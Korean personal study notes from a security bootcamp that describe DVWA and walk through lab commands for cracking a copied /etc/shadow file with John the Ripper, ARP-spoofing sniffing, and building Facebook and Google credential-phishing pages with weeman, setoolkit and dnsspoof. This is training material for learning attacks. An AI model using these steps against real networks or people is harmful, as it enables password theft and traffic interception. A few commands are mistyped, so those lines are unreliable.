본문 바로가기
SK shieldus Rookies 16기

[SK shieldus Rookies 16기] 클라우드 기반 스마트 융합 보안 과정 교육 정리(13일차)

by Challenge programmers 2023. 11. 8.

오늘 학습 주제

1. DVWA

2. 실습

 

 

 

 

DVWA


- DVWA -

보안 전문가, 개발자, 학생들이 웹 응용 프로그램 보안에 대한 기술을 연마하고 향상시킬 수 있는

교육 및 훈련용 플랫폼으로 의도적으로 취약한 상태로 만들어진 웹 응용 프로그램

기능 설명
SQL Injection (SQLi) 다양한 수준의 SQL 삽입 취약성을 제공하여 사용자가
SQL 삽입 공격을 실습
Cross-Site Scripting (XSS) 사용자가 XSS 공격에 대한 이해를 향상시키기 위해 다양한 수준의
XSS 취약성이 포함
Cross-Site Request Forgery (CSRF) CSRF 취약점을 통해 웹 응용 프로그램이 신뢰할 수 없는 요청을
수락하는 방법을 학습
File Inclusion (FI) 파일 포함 취약점을 통해 사용자는 서버 파일 시스템에
액세스하는 방법을 실습
Insecure Session Management 안전하지 않은 세션 관리 취약점을 제공하여 사용자가
세션 관리에 대한 이해를 향상
Command Injection 명령 삽입 공격을 통해 사용자는 웹 응용 프로그램이 시스템 명령을
실행하는 방법을 실습
Brute Force Attacks 암호 크래킹을 시뮬레이션하기 위해 DVWA는 사용자가 사용자 이름과
비밀번호에 대한 무차별 대입 공격을 수행할 수 있는 기능을 제공
Security Misconfigurations 일반적인 보안 구성 오류를 시뮬레이션하여 사용자가 웹 응용 프로그램이
적절한 보안 구성을 갖추도록 하는 방법을 이해
File Upload Vulnerabilities 파일 업로드 취약성을 통해 사용자는 악성 파일을 업로드하고
실행하는 방법을 학습
Unvalidated Redirects and Forwards 사용자는 웹 응용 프로그램이 URL 리다이렉션 및 포워딩을 안전하게
다루지 않을 때 발생할 수 있는 보안 문제를 이해

 

 

실습


- 패스워드 크래킹 -

John the ripper를 이용한 무작위 대입 공격

 

John the ripper - 패스워드 크래킹 도구로서, 다양한 해시 알고리즘을 사용하여

저장된 패스워드를 크래킹할 수 있는 기능을 제공

 

  개요
선행조건 공격자가 /etc/shadow 파일 획득
시나리오 1. 백업 파일에서 접근 제한이 풀려버린 shadow 파일을 획득
2. 사전 파일을 통해 크랙 수행
3. 수행 결과 확인
명령어 cp /etc/passwd ./pass.txt
cp /etc/shadow.bak ./shadow.txt
(크랙하기 위한 라인을 남긴다)

 unshadow pass.txt shadow.txt > target.txt
(unshadow 파일을 생성)

john --format=crypt --wordlist /usr/share/john/password.lst ./target.txt
(크랙 수행)

man john
john --list=formats
(옵션 확인)

cd ~/.john/john.pat, john.log
(파일을 확인/ john.pat > 크랙 결과 / john.log > 수행과정)

 

 

- Sniffing -

ARP Spoofing를 이용한 sniffing 공격

 

ARP Spoofing -  ARP 프로토콜의 취약점(네트워크 디바이스들이 자신의 IP 주소를 물리적 MAC 주소로 변환)

을 이용하여 공격

  개요
선행조건 공격자는 공격 타겟과 같은 네트워크에 있음
시나리오 1. Arp spoofing으로 타겟의 Gateway를 자신의 Mac Address로 속임
2. 패킷 릴레이를 통해 타겟으로부터 수신된 데이터를 릴레이 (fragrouter)
3. 패킷릴레이를 수행하면서, 패킷을 저장 (tcpdump)
4. 저장된 패킷을 분석하여, 로그인 정보 추출 (wireshark)
명령어 ifconfig eth0 promisc
(인터페이스 모드 변경 [L2 any])

fragrouter-B1
(라우터 구동)

arpspoof -i eth0 -1 11.11.11.13(공격타겟) 11.11.11.1 (게이트웨이)
(arp spoofing)

arp-a-->게이트웨이 mac address 변경
(공격타겟 arp 확인)

tcpdump -i eth0 port 80 -s 1500-w/spoof.pcap
(패킷덤프 [데이터 스니핑])

 

 

- 사이트 복제 -

Httrack을 이용한 사이트 복제

 

Httrack -   웹 사이트를 오프라인으로 복제하고 저장하는 오픈 소스 웹 크롤러로

웹 사이트의 HTML, 이미지, 스크립트 및 기타 리소스를 다운로드

  개요
선행조건 -
시나리오 1. www.naver.com  사이트를 복제
2. 웹서버를 구동하고, 복제한 사이트를 런칭
명령어 httrack
(httrack 구동)

Enter project name : myProject
(프로젝트 이름 설정)

Base path: /다운로드 디렉토리 경로
(파일이 저장될 위치 설정)

Enter URLs: http://www.example.com 
(크롤링할 사이트)

Action : 1
(실행)

 

 

- 피싱 사이트 제작 -

weeman을 이용한 피싱사이트 제작

 

Httrack - Python으로 작성된 작은 웹 서버로, 피싱(Phishing) 공격을 수행하는 데 사용될 수 있는 도구

  개요
선행조건 -
시나리오 1.  www.facebook.com  을 복제한 피싱 사이트 제작
2. 타겟이 로그인 후, www.facebook.com으로로 정상 연결
3. 타겟의 비밀번호 탈취
명령어 cd weeman
./weeman
(weeman 실행)

show
(옵션 출력)

set url https://www.facebook.com
(복제할 사이트 설정)

setaction_url https://www.facebook.com/login 
(이동하게 할 사이트 설정)

set port 80
(포트 설정)

run
(실행)

 

 

- 피싱 사이트 제작 2 -

Setoolkit을 이용한 피싱사이트 제작

 

setoolkit - 여러 유형의 사회 공학적 기술을 이용하여 사용자로부터 정보를 탈취하거나,

악성 코드를 전파하거나, 기타 공격을 수행하기 위한 도구 모음

  개요
선행조건 DNS spoof를 통해 사이트 접속 연결하거나
Email등을 통해 로그인 유도
시나리오 1.  공격자는 구글 피싱 사이트를 띄운 후
2. 메일을 보내, 공격대상의 로그인을 유도
명령어 sudo setoolkit
(실행)

Social-Engineering Attacks
(사회공학 공격 항목 선택)

Website Attack Vectors
(사이트 호스팅을 위해 웹사이트 공격 백터 항목 선택)

Crediential Havester Attack Method
(로그인 정보 탈취를 위해 입력을 가로채는 도구 제공하는 항목 선택)

Web Templates
(지정한 웹 사이트를 복제하기 위한 항목 선택)

Service IP: 127.0.0.1
(유도할 IP 입력)

www.google.com
(복제할 사이트 입력)

cd ~root/.set/report
(공격 종료 후 저장된 패스워드 확인)

cat xxxxxxx.xml
(종료된 시점의 시간 정보 xml 파일 생성)

 

 

 

-  DNS Spoofing -

dnsspoof를 이용한 DNS Spoofing

 

dnsspoof-  네트워크 내에서 DNS 응답을 조작하여 특정 도메인에 대한 응답을 변경 할 수 있는 도구

  개요
선행조건 피싱 사이트 준비
DNS 서버보다 dnsspoof가 먼저 응답을 보낼 수 있어야 함
시나리오 1. Facebook 피싱사이트를 준비
2. Arpspoof로 공격대상의 모든 패킷이 공격자를 지나도록 설정
3. Fragrouter -B1 으로 패킷 릴레이
4. 공격대상의 DNS 요청에 대해 UDP 응답을 전송
5. 공격 대상이 http://www.facebook.com 접속 요청 시, 피싱 사이트로 접속
명령어 sudo arpspoof -t 10.0.2.15 10.0.2.1
(arpspoof으로 10.0.2.15로 가는 네트워크를 10.0.2.1로 변경)

fragrouter-B1
(송수신 데이터의 변조 없이 데이터를 포워딩)
(희생자에게 정상적인 통신을 제공하지만 모든 패킷이 공격자를 통해 지나가게 됨)

vi dnsspoof.hosts
(피싱사이트로 유도를 위해 설정 수정)


10.0.2.10 http://www.facebook.com  입력 후 저장
(IP 는 피싱사이트, 도메인은 정상 주소)

sudo dnsspoof - eth0 -f ./dnsspoof.hosts
(유도가 설정된 파일로 dnsspoof 실행)

cd weeman
./weeman
(weeman 실행)

show
(옵션 출력)

set url https://www.facebook.com
(복제할 사이트 설정)

setaction_url https://www.facebook.com/login 
(이동하게 할 사이트 설정)

set port 80
(포트 설정)

run
(실행)

 

 

 

 

- OWASP ZAP -

OWASP ZAP을 이용한 취약성 분석

 

OWASP ZAP- 웹 애플리케이션에 대한 보안 취약성을 식별하고 테스트하는 데 사용하는

오픈 소스의 보안 테스트 도구

A sample ZAP UI showing the Spider feature. Source: Software Informer 2018.